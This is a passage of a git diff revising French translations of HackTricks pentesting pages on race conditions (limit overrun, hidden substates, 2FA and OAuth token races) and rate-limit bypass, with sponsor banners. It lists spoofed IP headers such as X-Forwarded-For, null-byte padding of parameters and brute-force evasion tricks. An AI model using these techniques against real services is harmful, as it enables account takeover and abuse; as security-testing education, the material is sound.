* **Intruder :** Envoyez la **requête** à **Intruder**, réglez le **nombre de threads** à **30** dans le **menu Options**, sélectionnez comme charge utile **Null payloads** et générez **30**.
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
@ -196,7 +198,7 @@ asyncio.run(main())
|
|||
|
||||
### Dépassement de limite / TOCTOU
|
||||
|
||||
C'est le type le plus basique de condition de concurrence où les **vulnérabilités** **apparaissent** dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Comme utiliser plusieurs fois le même code de réduction dans une boutique en ligne. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bogue**](https://hackerone.com/reports/759247)**.**
|
||||
C'est le type le plus basique de condition de concurrence où les **vulnérabilités** **apparaissent** dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Comme utiliser plusieurs fois le même code de réduction dans une boutique en ligne. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247).
|
||||
|
||||
Il existe de nombreuses variations de ce type d'attaque, y compris :
|
||||
|
||||
|
@ -208,7 +210,7 @@ Il existe de nombreuses variations de ce type d'attaque, y compris :
|
|||
|
||||
### **Sous-états cachés**
|
||||
|
||||
D'autres RC plus compliqués exploiteront les **sous-états dans l'état de la machine** qui pourraient permettre à un attaquant d'**abuser** d'états auxquels il **n'était jamais censé avoir accès**, mais il existe une **petite fenêtre** pour que l'attaquant y accède.
|
||||
D'autres RC plus compliqués exploiteront les **sous-états dans l'état de la machine** qui pourraient permettre à un attaquant d'**abuser** d'états auxquels il n'était **jamais censé avoir accès**, mais il existe une **petite fenêtre** pour que l'attaquant y accède.
|
||||
|
||||
1. **Prédire les sous-états cachés et intéressants potentiels**
|
||||
|
||||
|
@ -224,53 +226,53 @@ Les applications stockent souvent un certain état dans la session utilisateur.
|
|||
|
||||
* **Modifions-nous ou ajoutons-nous ?**
|
||||
|
||||
Les opérations qui modifient des données existantes (telles que le changement de l'adresse e-mail principale d'un compte) ont un potentiel de collision important, tandis que les actions qui ajoutent simplement à des données existantes (telles que l'ajout d'une adresse e-mail supplémentaire) sont peu susceptibles d'être vulnérables à autre chose que des attaques de dépassement de limite.
|
||||
Les opérations qui modifient des données existantes (telles que le changement de l'adresse e-mail principale d'un compte) ont un potentiel de collision important, tandis que les actions qui ajoutent simplement aux données existantes (telles que l'ajout d'une adresse e-mail supplémentaire) sont peu susceptibles d'être vulnérables à autre chose que des attaques de dépassement de limite.
|
||||
|
||||
* **Sur quoi l'opération est-elle basée ?**
|
||||
|
||||
La plupart des points de terminaison opèrent sur un enregistrement spécifique, qui est recherché à l'aide d'une 'clé', telle qu'un nom d'utilisateur, un jeton de réinitialisation de mot de passe ou un nom de fichier. Pour une attaque réussie, nous avons besoin de deux opérations qui utilisent la même clé. Par exemple, imaginez deux implémentations plausibles de réinitialisation de mot de passe :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Chercher des indices**
|
||||
|
||||
À ce stade, il est temps de **lancer des attaques RC** sur les points de terminaison potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats habituels. **Tout écart par rapport à la réponse attendue**, tel qu'un changement dans une ou plusieurs réponses, ou un effet secondaire comme un contenu d'e-mail différent ou un changement visible dans votre session, pourrait être un indice indiquant que quelque chose ne va pas.
|
||||
À ce stade, il est temps de **lancer des attaques RC** sur les points de terminaison potentiellement intéressants pour essayer de trouver des résultats inattendus par rapport aux résultats habituels. **Tout écart par rapport à la réponse attendue**, tel qu'un changement dans une ou plusieurs réponses, ou un effet secondaire comme un contenu d'e-mail différent ou un changement visible dans votre session pourrait être un indice indiquant que quelque chose ne va pas.
|
||||
|
||||
3. **Prouver le concept**
|
||||
|
||||
La dernière étape consiste à **prouver le concept et à le transformer en une attaque viable**.
|
||||
|
||||
Lorsque vous envoyez un lot de requêtes, vous pouvez constater qu'une paire de requêtes initiales déclenche un état final vulnérable, mais que les requêtes ultérieures l'écrasent/l'invalident et que l'état final n'est pas exploitable. Dans ce scénario, vous voudrez éliminer toutes les requêtes inutiles - deux devraient suffire pour exploiter la plupart des vulnérabilités. Cependant, réduire à deux requêtes rendra l'attaque plus sensible au timing, vous devrez donc peut-être réessayer l'attaque plusieurs fois ou l'automatiser.
|
||||
Lorsque vous envoyez un lot de requêtes, vous pouvez constater qu'une paire de requêtes initiales déclenche un état final vulnérable, mais que les requêtes ultérieures l'écrasent/l'invalident et que l'état final est inexploitable. Dans ce scénario, vous voudrez éliminer toutes les requêtes inutiles - deux devraient suffire pour exploiter la plupart des vulnérabilités. Cependant, réduire à deux requêtes rendra l'attaque plus sensible au timing, vous devrez donc peut-être réessayer l'attaque plusieurs fois ou l'automatiser.
|
||||
|
||||
### Attaques sensibles au temps
|
||||
|
||||
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques de livraison de requêtes avec un timing précis** peuvent encore révéler la présence d'autres vulnérabilités.
|
||||
Parfois, vous ne trouverez peut-être pas de conditions de concurrence, mais les **techniques pour envoyer des requêtes avec un timing précis** peuvent encore révéler la présence d'autres vulnérabilités.
|
||||
|
||||
Un tel exemple est lorsque des **horodatages de haute résolution sont utilisés au lieu de chaînes aléatoires sécurisées cryptographiquement** pour générer des jetons de sécurité.
|
||||
|
||||
Considérez un **jeton de réinitialisation de mot de passe qui est seulement randomisé en utilisant un horodatage**. Dans ce cas, il pourrait être possible de **déclencher deux réinitialisations de mot de passe pour deux utilisateurs différents**, qui utilisent tous les deux le **même jeton**. Tout ce que vous avez à faire est de synchroniser les requêtes pour qu'elles génèrent le même horodatage.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Pour confirmer par exemple la situation précédente, vous pourriez simplement demander **2 jetons de réinitialisation de mot de passe en même temps** (en utilisant une attaque par paquet unique) et vérifier s'ils sont les **mêmes**.
|
||||
Pour confirmer par exemple la situation précédente, vous pourriez simplement demander **2 jetons de réinitialisation de mot de passe en même temps** (en utilisant une attaque par paquet unique) et vérifier s'ils sont **les mêmes**.
|
||||
{% endhint %}
|
||||
|
||||
Vérifiez l'[**exemple dans ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
|
||||
Consultez [**l'exemple dans ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
|
||||
|
||||
## Études de cas sur les sous-états cachés
|
||||
|
||||
### Payer & ajouter un article
|
||||
|
||||
[**Vérifiez ce laboratoire**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) pour voir comment **payer** dans un magasin et **ajouter un article supplémentaire** que vous **n'aurez pas à payer**.
|
||||
[**Consultez ce laboratoire**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) pour voir comment **payer** dans un magasin et **ajouter un article supplémentaire** que vous **n'aurez pas à payer**.
|
||||
|
||||
### Confirmer d'autres e-mails
|
||||
|
||||
L'idée est de **vérifier une adresse e-mail et de la changer pour une autre en même temps** pour découvrir si la plateforme vérifie la nouvelle qui a été changée.
|
||||
L'idée est de **vérifier une adresse e-mail et de la changer pour une autre en même temps** pour découvrir si la plateforme vérifie la nouvelle changée.
|
||||
|
||||
### Changer d'e-mail en 2 adresses e-mails basées sur les cookies
|
||||
|
||||
Selon [**ce compte-rendu**](https://portswigger.net/research/smashing-the-state-machine) Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait **envoyer** le **jeton de vérification d'e-mail d'un e-mail à l'autre e-mail**.
|
||||
|
||||
Vous pouvez également vérifier [**ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) pour en savoir plus à ce sujet.
|
||||
Vous pouvez également consulter [**ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) pour en savoir plus à ce sujet.
|
||||
|
||||
### États de base de données cachés / Contournement de confirmation
|
||||
|
||||
|
@ -278,9 +280,9 @@ Si **2 écritures différentes** sont utilisées pour **ajouter** des **informat
|
|||
|
||||
Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de **confirmer un compte** où vous ne contrôlez pas l'e-mail.
|
||||
|
||||
Vérifiez [**ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) pour voir un exemple.
|
||||
Consultez [**ce laboratoire**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) pour voir un exemple.
|
||||
|
||||
### Contourner le 2FA
|
||||
### Contourner la 2FA
|
||||
|
||||
Le pseudo-code suivant montre comment un site Web pourrait être vulnérable à une variation de course de cette attaque :
|
||||
```python
|
||||
|
@ -290,24 +292,24 @@ session['enforce_mfa'] = True
|
|||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
Comme vous pouvez le voir, il s'agit en fait d'une **séquence multi-étapes dans la durée d'une seule requête**. Plus important encore, elle passe par un sous-état dans lequel l'**utilisateur a temporairement une session valide connectée**, **mais l'authentification multifacteur n'est pas encore appliquée**. Un attaquant pourrait potentiellement exploiter cela en envoyant une demande de connexion avec une demande à un point de terminaison sensible et authentifié.
|
||||
Comme vous pouvez le voir, il s'agit en fait d'une **séquence multi-étapes dans la durée d'une seule requête**. Plus important encore, elle passe par un sous-état dans lequel **l'utilisateur a temporairement une session valide connectée**, **mais l'authentification multifacteur (MFA) n'est pas encore appliquée**. Un attaquant pourrait potentiellement exploiter cela en envoyant une demande de connexion avec une demande à un point de terminaison sensible et authentifié.
|
||||
|
||||
### Persistance éternelle OAuth2
|
||||
|
||||
Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ces services vous permettent de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\
|
||||
Jusqu'ici, c'est juste une connexion classique avec Google/LinkedIn/GitHub... où une page s'affiche disant : "_L'application \<InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser ?_"
|
||||
Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ces services vous permettent de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données au sein du **fournisseur OAuth**.\
|
||||
Jusqu'ici, c'est juste une connexion classique avec Google/LinkedIn/GitHub... où une page vous demande : "_L'application \<InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser ?_"
|
||||
|
||||
#### Condition de concurrence dans `authorization_code`
|
||||
|
||||
Le **problème** apparaît lorsque vous **l'acceptez** et que cela envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une condition de concurrence dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Token d'Authentification/Token de Rafraîchissement_) à partir du **`authorization_code`** pour votre compte. En gros, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données pour **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
|
||||
Le **problème** apparaît lorsque vous **l'acceptez** et qu'un **`authorization_code`** est automatiquement envoyé à l'application malveillante. Ensuite, cette **application exploite une condition de concurrence dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Token d'Authentification/Token de Rafraîchissement_) à partir du **`authorization_code`** pour votre compte. En gros, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données pour **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
|
||||
|
||||
#### Condition de concurrence dans `Refresh Token`
|
||||
|
||||
Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les permissions** pour que l'application malveillante accède à ses données, **plusieurs RT resteront valides**.
|
||||
Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'exploiter pour générer plusieurs AT/RT** et **même si l'utilisateur annule les permissions** pour que l'application malveillante accède à ses données, **plusieurs RT resteront valides**.
|
||||
|
||||
## **RC dans WebSockets**
|
||||
|
||||
Dans [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC), vous pouvez trouver un PoC en Java pour envoyer des messages WebSocket en **parallèle** pour abuser des **conditions de concurrence également dans les WebSockets**.
|
||||
Dans [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC), vous pouvez trouver un PoC en Java pour envoyer des messages WebSocket en **parallèle** pour exploiter les **conditions de concurrence également dans les WebSockets**.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -319,20 +321,22 @@ Dans [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_P
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,36 +1,38 @@
|
|||
# Contournement de la limite de taux
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Obtenez un accès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### Utilisation d'endpoints similaires
|
||||
|
||||
Si vous attaquez l'endpoint `/api/v3/sign-up`, essayez de faire une attaque par force brute sur `/Sing-up`, `/SignUp`, `/singup`...
|
||||
Si vous attaquez l'endpoint `/api/v3/sign-up`, essayez de réaliser un bruteforce sur `/Sing-up`, `/SignUp`, `/singup`...
|
||||
|
||||
Essayez également d'ajouter aux endpoints originaux des octets tels que `%00, %0d%0a, %0d, %0a, %09, %0C, %20`
|
||||
Essayez également d'ajouter à l'endpoint original des octets comme `%00, %0d%0a, %0d, %0a, %09, %0C, %20`
|
||||
|
||||
### Caractères vides dans le code/les paramètres
|
||||
### Caractères blancs dans le code/paramètres
|
||||
|
||||
Essayez d'ajouter un octet vide comme `%00, %0d%0a, %0d, %0a, %09, %0C, %20` dans le code et/ou les paramètres. Par exemple, `code=1234%0a` ou si vous demandez un code pour un e-mail et que vous n'avez que 5 essais, utilisez les 5 essais pour `example@email.com`, puis pour `example@email.com%0a`, puis pour `example@email.com%0a%0a`, et ainsi de suite...
|
||||
Essayez d'ajouter un octet blanc comme `%00, %0d%0a, %0d, %0a, %09, %0C, %20` au code et/ou aux paramètres. Par exemple `code=1234%0a` ou si vous demandez un code pour un email et que vous n'avez que 5 tentatives, utilisez les 5 tentatives pour `example@email.com`, puis pour `example@email.com%0a`, puis pour `example@email.com%0a%0a`, et continuez...
|
||||
|
||||
### Modification de l'origine de l'adresse IP en utilisant des en-têtes
|
||||
### Changement de l'IP d'origine en utilisant des en-têtes
|
||||
```bash
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
|
@ -45,36 +47,38 @@ X-Forwared-Host: 127.0.0.1
|
|||
X-Forwarded-For:
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
```
|
||||
Si le nombre d'essais est limité à 10 par adresse IP, changez l'adresse IP dans l'en-tête toutes les 10 tentatives.
|
||||
S'ils limitent à 10 tentatives par IP, changez l'IP dans l'en-tête toutes les 10 tentatives.
|
||||
|
||||
### Modifier les autres en-têtes
|
||||
### Changer d'autres en-têtes
|
||||
|
||||
Essayez de changer l'user-agent, les cookies... tout ce qui pourrait vous identifier.
|
||||
Essayez de changer l'agent utilisateur, les cookies... tout ce qui pourrait vous identifier.
|
||||
|
||||
### Ajouter des paramètres supplémentaires au chemin
|
||||
|
||||
Si la limite est dans le chemin `/resetpwd`, essayez de le forcer en utilisant ce chemin, et une fois la limite atteinte, essayez `/resetpwd?someparam=1`.
|
||||
Si la limite est dans le chemin `/resetpwd`, essayez de forcer brutalement ce chemin, et une fois la limite de taux atteinte, essayez `/resetpwd?someparam=1`
|
||||
|
||||
### Connectez-vous à votre compte avant chaque tentative
|
||||
### Se connecter à votre compte avant chaque tentative
|
||||
|
||||
Peut-être que si vous **vous connectez à votre compte avant chaque tentative** (ou chaque ensemble de X tentatives), la limite est réinitialisée. Si vous attaquez une fonctionnalité de connexion, vous pouvez le faire dans Burp en utilisant une attaque Pitchfork en **définissant vos identifiants toutes les X tentatives** (et en marquant les redirections).
|
||||
Peut-être que si vous **vous connectez à votre compte avant chaque tentative** (ou chaque ensemble de X tentatives), la limite de taux est réinitialisée. Si vous attaquez une fonctionnalité de connexion, vous pouvez faire cela dans burp en utilisant une attaque Pitchfork en **définissant vos identifiants tous les X tentatives** (et en marquant suivre les redirections).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** avec les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,36 +2,38 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
